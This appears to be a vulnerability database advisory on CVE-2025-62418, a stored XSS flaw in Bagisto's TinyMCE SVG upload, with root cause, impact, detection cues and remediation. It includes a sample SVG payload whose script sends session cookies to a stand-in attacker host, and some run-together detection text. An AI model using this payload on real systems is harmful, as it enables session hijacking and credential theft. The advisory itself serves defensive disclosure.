
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-62418 is a stored Cross-Site Scripting (XSS) vulnerability in Bagisto, an open-source Laravel eCommerce platform, affecting version 2.3.7 and earlier. The flaw exists in the TinyMCE image upload functionality, which allows an attacker with admin-level upload privileges to upload a crafted SVG file containing embedded JavaScript that executes in the browser of any admin or editor who views the content. It was published on October 16, 2025, and patched in version 2.3.8. The CVSS v3.1 base score is 6.9 (Medium) (Github Advisory, Bagisto Advisory).
The root cause is the failure to sanitize SVG file content upon upload via TinyMCE's image/media manager (CWE-79, CWE-80, CWE-87). SVG files are XML-based markup and can contain active content such as <script> tags, onload/onclick event handlers, foreignObject elements, and xlink:href injections. Bagisto did not validate or strip these unsafe constructs before storing and rendering the file. When the uploaded SVG is later embedded inline or via <object>/<embed> tags in the admin UI, the browser executes the embedded script in the context of the viewing user's session. The fix (commit 7b6b1dd) added MIME type validation, file extension verification, and SVG sanitization to the TinyMCEController (Bagisto Advisory, Fix Commit).
Successful exploitation allows the attacker's JavaScript payload to execute in the browser context of any admin or editor who views the malicious SVG content. This can result in session hijacking (theft of authentication cookies or tokens), unauthorized actions performed on behalf of the victim, and potential privilege escalation if a lower-privileged admin targets a higher-privileged account. Confidentiality impact is rated High (sensitive session data and admin information exposed), while integrity impact is Low (limited unauthorized modifications possible) and availability is unaffected (Bagisto Advisory).
The vulnerability requires high privileges (admin-level upload access) and user interaction (a victim must view the uploaded content), which limits its immediate exploitability. A proof-of-concept is referenced in the GitHub security advisory, demonstrating that navigating to any TinyMCE-enabled form, uploading a malicious SVG, and having another user view it triggers JavaScript execution. There is no evidence of in-the-wild exploitation at this time, and the CVE is not listed in the CISA KEV catalog. The EPSS score is approximately 0.036% (Github Advisory, Bagisto Advisory).
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
</svg>TinyMCEController upload endpoint.storage/app/tinymce/ directory containing <script>, onload, onclick, foreignObject, or xlink:href attributes; SVG files with MIME type image/svg+xml that include JavaScript constructs./tinymce/upload or equivalent) uploading .svg files from admin accounts; subsequent GET requests to those SVG file URLs from other admin user sessions.The primary remediation is to upgrade Bagisto to version 2.3.8 or later, which includes a fix that adds MIME type validation, file extension verification, and SVG content sanitization in TinyMCEController.php (Fix Commit, Github Advisory). As interim workarounds, administrators should restrict SVG file upload permissions to the minimum necessary accounts, implement a Content Security Policy (CSP) header to restrict inline script execution, and audit existing uploaded SVG files in the tinymce storage directory for malicious content. Regularly reviewing admin account activity for anomalous behavior is also recommended.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."